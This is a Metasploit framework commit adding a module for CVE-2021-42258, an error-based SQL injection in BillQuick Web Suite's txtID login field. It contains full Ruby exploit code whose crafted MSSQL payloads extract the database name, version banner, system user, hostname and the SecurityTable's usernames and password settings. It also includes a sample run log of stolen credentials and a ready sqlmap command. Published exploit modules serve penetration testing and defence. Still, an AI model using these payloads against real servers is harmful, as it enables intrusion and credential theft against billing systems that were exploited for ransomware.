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Land #15806, add BillQuick SQLi module

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documentation/modules/auxiliary/gather/billquick_txtid_sqli.md Normal file
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## Vulnerable Application
This module exploits a SQL injection vulnerability in BillQUick Web
Suite prior to version 22.0.9.1. The application is .net based, and
the database is required to be MSSQL. Luckily the website gives
error based SQLi messages, so it is trivial to pull data from the
database. However the webapp uses an unknown password security
algorithm. This vulnerability does not seem to support stacked
queries. This module pulls the database name, 111.111.1.111, user,
hostname, and the SecurityTable (user table).
### Install
This install can be rather complicated and take about 2hrs to install.
1. Download [ws2020](https://billquick.net/download/WS2020/WS2020Setup.zip)
1. Download [Bill Quick 2020](https://billquick.net/download/Billquick2020/BillQuick2020Setup.zip)
1. Install billquick 2020
1. reboot
1. Install IIS per WS2020 instructions (non-default options in ws2020 install docs)
1. Install .NET Framework 3.5 (for sql server 2008, powershell: `Install-WindowsFeature Net-Framework-Core`)
1. Install MSSQL Server 2008
1. Install ws2020 (.NET 4.5 is bundled, may need a reboot)
1. Open BillQuick V21 (on desktop). Configure it to a new database
1. visit http://<ip>/ws2020 and finish the install/config
Even at this point, 2 people with these instructions and one independently were unable to login to
the webapp. It can be SQLi, but no one was able to use it successfully.
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/billquick_txtid_sqli`
1. Do: `set rhosts [ip]`
1. Do: `run`
1. You should get info about the system and app.
## Options
### HttpClientTimeout
As noted in the original discovery writeup, and verified during exploitation, the DB is very slow. A high timeout should be set. Defaults to `15`
## Scenarios
### BillQuick Web Suite 21.0.11 with BillQuick 2020 on Windows 2012 r2 with MSSQL 2008
```
[*] Processing billquick.rb for ERB directives.
resource (billquick.rb)> use auxiliary/gather/billquick_txtid_sqli
resource (billquick.rb)> set rhosts 111.111.1.111
rhosts => 111.111.1.111
resource (billquick.rb)> set verbose true
verbose => true
resource (billquick.rb)> check
[*] 111.111.1.111:80 - The target appears to be vulnerable. Version Detected: 21.0.11
resource (billquick.rb)> exploit
[*] Running module against 111.111.1.111
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version Detected: 21.0.11
[*] Getting Variables
[*] VIEWSTATE: /wEPDwULLTE4MzE3MTAzMjcPZBYEAgMPDxYCHgRUZXh0BRJWZXJzaW9uOiAyMS4wLjExLjFkZAIFD2QWBgIDD2QWBgIDDw9kFgIeBGhyZWYFKWphdmFzY3JpcHQ6RGlzcGxheUhlbHAoJy9sb2dpbi5odG0nLHRydWUpZAIFDw8WAh8AZWRkAgsPD2QWAh8BBboCamF2YXNjcmlwdDpPcGVuQ3VzdG9taXplZFBhZ2UoJ2h0dHA6Ly8xOTIuMTY4LjIuMTk3OjgwL3dzMjAyMC9BZG1pbi9mcm1TdGFydHVwT3B0aW9ucy5hc3B4P1JldHVyblVSTD1odHRwOi8vMTkyLjE2OC4yLjE5Nzo4MC93czIwMjAvZGVmYXVsdC5hc3B4JlJldHVyblBhdGg9QzovUHJvZ3JhbSBGaWxlcyAoeDg2KS9CaWxsUXVpY2sgV2ViIFN1aXRlL1dlYiBTdWl0ZSAyMDIwL3B1YmxpYycsJ09wdGlvbnMnLCdzdGF0dXM9MSx0b3A9MjAsbGVmdD03MCx0b29sYmFyPTAsd2lkdGg9OTYwLGhlaWdodD04NTAsc2Nyb2xsYmFycz0xLHJlc2l6YWJsZT0xJylkAgcPDxYCHgdWaXNpYmxlaGQWBAIBDxAPFgIfAmhkZGRkAgMPDxYCHwJoZGQCCQ9kFgICAw8PZBYCHgdvbmNsaWNrBYQBSmF2YVNjcmlwdDp2YXIgTnduZD0gd2luZG93Lm9wZW4oJ2h0dHA6Ly93d3cuYnFlLmNvbS9SZWFkeVRvQnV5LmFzcCcsJ0JpbGxRdWljaycsJ3N0YXR1cz0xLHJlc2l6YWJsZT0xJyk7IE53bmQuZm9jdXMoKTtyZXR1cm4gZmFsc2U7ZGStCLctJcrVYJp1DAA1gC3rEarKhZr4l+UhXjrUi4Di4g==
[*] VIEWSTATEGENERATOR: 35DBDDBD
[*] EVENTVALIDATION: /wEdAAdXT9yBxJ2SJPiixQkGOgS3iDzhgTayErTY5zy3eV0+KFncozjiY2uerT4fyhfyLsuRO4wbr9XDALim0BHyPei6XNiiK4rX19Q4jotFU35tutB+E+wdjwdLhtRmnvNWW5XjXQFozpEkqmpvVssmq69gY0kE5exFACTMA+fC7OwSIZ2agMpDV5u2LIZn3ODypK4=
[+] Current Database: test
[+] 111.111.1.111: Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
Jul 9 2008 14:17:44
Copyright (c) 1988-2008 Microsoft Corporation
Developer Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)
[+] DB User: sa
[+] Hostname: WIN-EDKFSE5QPAB
[+] User Count in test.dbo.SecurityTable: 2
[+] Username: 111
[+] User 111 settings: D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
[+] Username: fl
[+] User fl settings: 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
[+] test.dbo.SecurityTable
======================
EmployeeID Settings
---------- --------
111 D848281C|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
fl 45E97|1|1|1|0|1|1|1|0|1|1|1|1|1|1|1|1|1|1|0|0|0|1|0|1|0|0|0|1|1|1|0|0|0|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|1|0|0|0|0|0|0|0|0|0|0|0|0|0|0|
[*] Default password is the username.
[*] Auxiliary module execution completed
resource (billquick.rb)> hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
111.111.1.111 WIN-EDKFSE5QPAB Windows device Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64) Jul 9 2008 14:17:44 Copyright (c) 1988-2008 Microsoft Cor
porationDeveloper Edition (64-bit) on Windows NT 6.2 \u003cX64\u003e (Build 9200: ) (VM)
resource (billquick.rb)> services
Services
========
host port proto name state info
---- ---- ----- ---- ----- ----
111.111.1.111 80 tcp BillQuick Web Suite open
resource (billquick.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) sa Blank password
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) 111 D848281C Nonreplayable hash
111.111.1.111 111.111.1.111 80/tcp (BillQuick Web Suite) fl 45E97 Nonreplayable hash
resource (billquick.rb)> notes
Notes
=====
Time Host Service Port Protocol Type Data
---- ---- ------- ---- -------- ---- ----
2021-11-06 10:26:28 UTC 111.111.1.111 BillQuick Web Suite 80 tcp database "test"
```
## SQLMap Equivalent
You'll need a valid `VIEWSTATE`, `VIEWSTATEGENERATOR`, `EVENTVALIDATION`.
```
sqlmap -u "http://[IP]/ws2020/default.aspx" -f txtID --data="__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE=[VIEWSTATE]&__VIEWSTATEGENERATOR=[GENERATOR]&__EVENTVALIDATION=[VALIDATION]&txtID=a&txtPW=a&hdnClientDPI=96" --dbms MSSQL --time-sec 15 --batch
```

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modules/auxiliary/gather/billquick_txtid_sqli.rb Normal file
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BillQuick Web Suite txtID SQLi',
'Description' => %q{
This module exploits a SQL injection vulnerability in BillQUick Web Suite prior to version 22.0.9.1.
The application is .net based, and the database is required to be MSSQL. Luckily the website gives
error based SQLi messages, so it is trivial to pull data from the database. However the webapp
uses an unknown password security algorithm. This vulnerability does not seem to support stacked
queries.
This module pulls the database name, banner, user, hostname, and the SecurityTable (user table).
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Caleb Stewart <caleb.stewart94[at]gmail.com>' # original PoC, analysis
],
'References' => [
['URL', 'https://www.huntress.com/blog/threat-advisory-hackers-are-exploiting-a-vulnerability-in-popular-billing-software-to-deploy-ransomware'],
['URL', 'http://billquick.net/download/Support_Download/BQWS2021Upgrade/WebSuite2021LogFile_9_1.pdf'],
['CVE', '2021-42258']
],
'DefaultOptions' => {
'HttpClientTimeout' => 15 # The server tends to be super slow, so allow 15sec per request
},
'DisclosureDate' => '2021-10-22',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [ true, 'The URI of BillQuick Web Suite', '/ws2020/'])
], self.class
)
end
def check
begin
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
'method' => 'GET'
}, datastore['HttpClientTimeout'])
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
return Exploit::CheckCode::Safe("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
%r{Version: (?<version>\d{1,2}\.\d{1,2}\.\d{1,2})\.\d{1,2}</span>} =~ res.body
if version && Rex::Version.new(version) <= Rex::Version.new('22.0.9.1')
return Exploit::CheckCode::Appears("Version Detected: #{version}")
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to the web service")
end
Exploit::CheckCode::Safe("Unexploitable Version: #{version}")
end
def rand_chars(len = 6)
Rex::Text.rand_text_alpha(len)
end
def char_list(string)
('char(' + string.split('').map(&:ord).join(')+char(') + ')').to_s
end
def error_info(body)
/BQEShowModalAlert\('Information','(?<error>[^']+)/ =~ body
error
end
def inject(content, state, generator, validation)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
'method' => 'POST',
'vars_post' => {
'__VIEWSTATE' => state,
'__VIEWSTATEGENERATOR' => generator,
'__EVENTVALIDATION' => validation,
'__EVENTTARGET' => 'cmdOK',
'__EVENTARGUMENT' => '',
'txtID' => content,
'txtPW' => '',
'hdnClientDPI' => '96'
}
}, datastore['HttpClientTimeout'])
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
res.body
end
def run
vprint_status('Getting Variables')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'default.aspx'),
'method' => 'GET'
}, datastore['HttpClientTimeout'])
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200
/id="__VIEWSTATE" value="(?<viewstate>[^"]+)/ =~ res.body
/id="__VIEWSTATEGENERATOR" value="(?<viewstategenerator>[^"]+)/ =~ res.body
/id="__EVENTVALIDATION" value="(?<eventvalidation>[^"]+)/ =~ res.body
unless viewstate && viewstategenerator && eventvalidation
fail_with(Failure::UnexpectedReply, 'Unable to find viewstate, viewstategenerator, and eventvalidation values.')
end
vprint_status("VIEWSTATE: #{viewstate}")
vprint_status("VIEWSTATEGENERATOR: #{viewstategenerator}")
vprint_status("EVENTVALIDATION: #{eventvalidation}")
header = rand_chars
footer = rand_chars
header_char = char_list(header)
footer_char = char_list(footer)
int = Rex::Text.rand_text_numeric(4)
service = {
address: rhost,
port: datastore['RPORT'],
protocol: 'tcp',
service_name: 'BillQuick Web Suite',
workspace_id: myworkspace_id
}
report_service(service)
# all inject strings taken from sqlmap runs, using error page method
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND CHARINDEX(CHAR(49)+CHAR(53)+CHAR(46)+CHAR(48)+CHAR(46),@@VERSION)>0)+'", viewstate, viewstategenerator, eventvalidation)
/, table \\u0027(?<table>.+?)\\u0027/ =~ error_info(res)
print_good("Current Database: #{table.split('.').first}")
report_note(host: rhost, port: rport, type: 'database', data: table.split('.').first)
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 1325 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<banner>.+?)\\u0027/ =~ error_info(res)
banner.slice!(header)
banner.slice!(footer)
banner = banner.gsub('\n', "\n").gsub('\t', "\t")
print_good("Banner: #{banner}")
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8603 IN (SELECT (#{header_char}+(SELECT SUBSTRING((ISNULL(CAST(SYSTEM_USER AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<user>.+?)\\u0027/ =~ error_info(res)
user.slice!(header)
user.slice!(footer)
print_good("DB User: #{user}")
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: user,
private_type: :nonreplayable_hash,
private_data: ''
}.merge(service)
create_credential(credential_data)
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7555 IN (SELECT (#{header_char}+(SUBSTRING((ISNULL(CAST(@@SERVERNAME AS NVARCHAR(4000)),CHAR(32))),1,1024))+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<hostname>.+?)\\u0027/ =~ error_info(res)
hostname.slice!(header)
hostname.slice!(footer)
print_good("Hostname: #{hostname}")
report_host(host: rhost, name: hostname, info: banner.gsub('\n', "\n").gsub('\n', "\n"), os_name: OperatingSystems::WINDOWS)
sec_table = "#{table.split('.')[0...-1].join('.')}.SecurityTable"
# get user count from SecurityTable
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 8815 IN (SELECT (#{header_char}+(SELECT ISNULL(CAST(COUNT(*) AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<user_count>.+?)\\u0027/ =~ error_info(res)
user_count.slice!(header)
user_count.slice!(footer)
print_good("User Count in #{sec_table}: #{user_count}")
table = Rex::Text::Table.new(
'Header' => sec_table,
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
[
'EmployeeID',
'Settings',
]
)
(1..user_count.to_i).each do |index|
# username
# select EmployeeID from test.dbo.SecurityTable where ModuleID=0
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 2292 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<username>.+?)\\u0027/ =~ error_info(res)
username.slice!(header)
username.slice!(footer)
print_good("Username: #{username}")
# settings
# select Settings from test.dbo.SecurityTable where ModuleID=0
res = inject("'+(SELECT #{char_list(rand_chars)} WHERE #{int}=#{int} AND 7411 IN (SELECT (#{header_char}+(SELECT TOP 1 SUBSTRING((ISNULL(CAST(Settings AS NVARCHAR(4000)),CHAR(32))),1,1024) FROM #{sec_table} WHERE ModuleID=0 AND ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) NOT IN (SELECT TOP #{index - 1} ISNULL(CAST(EmployeeID AS NVARCHAR(4000)),CHAR(32)) FROM #{sec_table} WHERE ModuleID=0 ORDER BY EmployeeID) ORDER BY EmployeeID)+#{footer_char})))+'", viewstate, viewstategenerator, eventvalidation)
/\\u0027(?<settings>.+?)\\u0027/ =~ error_info(res)
settings.slice!(header)
settings.slice!(footer)
print_good("User #{username} settings: #{settings}")
table << [username, settings]
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :nonreplayable_hash, # prob encrypted not hash, so lies.
private_data: settings.split('|').first
}.merge(service)
create_credential(credential_data)
end
print_good(table.to_s)
print_status('Default password is the username.')
end
end